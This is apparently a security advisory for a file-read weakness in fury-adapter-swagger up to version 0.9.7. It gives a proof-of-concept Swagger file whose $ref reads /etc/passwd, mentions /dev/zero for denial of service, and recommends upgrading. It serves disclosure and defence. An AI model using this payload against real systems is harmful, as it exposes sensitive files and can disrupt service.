Description

fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.
